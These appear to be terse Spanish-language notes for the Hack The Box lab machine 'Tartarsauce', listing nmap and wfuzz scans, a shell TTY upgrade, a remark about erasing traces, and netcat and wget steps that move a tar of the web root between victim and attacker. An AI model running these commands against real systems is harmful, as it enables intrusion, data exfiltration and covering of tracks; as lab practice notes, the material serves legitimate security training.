Tartarsauce

nmap -p- —open -T5 -v -n 10.129.1.185

nmap -p- -sS —min-rate 5000 —open -vvv -n -Pn 10.129.1.185 -oG allPorts

extractPorts allPorts

nmap -sCV -p80 10.129.1.185 -oN targeted

whatweb http://10.129.1.185

wfuzz -c -t 400 —hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.1.185/webservices/FUZZ

echo “10.129.1.185 tartarsauce.htb” | sudo tee -a /etc/hosts

wfuzz -c -t 200 —hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.1.185/webservices/FUZZ

vim wp-load.php

script /dev/null -c bash Despues hacer un ctrl Z stty raw -echo; fg reset El terminal type es: xterm export TERM=xterm export SHELL=bash stty rows 51 columns 189

#para borrar huellas

watch ls -la /var/tmp

systemctl list-timers

tar -zcvf backup.tar /var/www/html

Hacemos un tar del directorio.

pasar archivo de linux a linux

Desde la maquina atacada mandamos el archivo a kali

nc 10.10.14.108 443 < backup.tar

Y en kali recibimos el archivo comprimido

nc -lvnp 443 > backup.tar

tar -xf backup.tar

Hacemos el siguiente script y lo corremos

Comprimimos el directorio de nuevo

tar -zcvf backup.tar /var/www/html

python3 -m http.server 80

wget http://10.10.14.108/backup.tar

chmod +x ne_exploit.sh

Le damos permisos de ejecucion.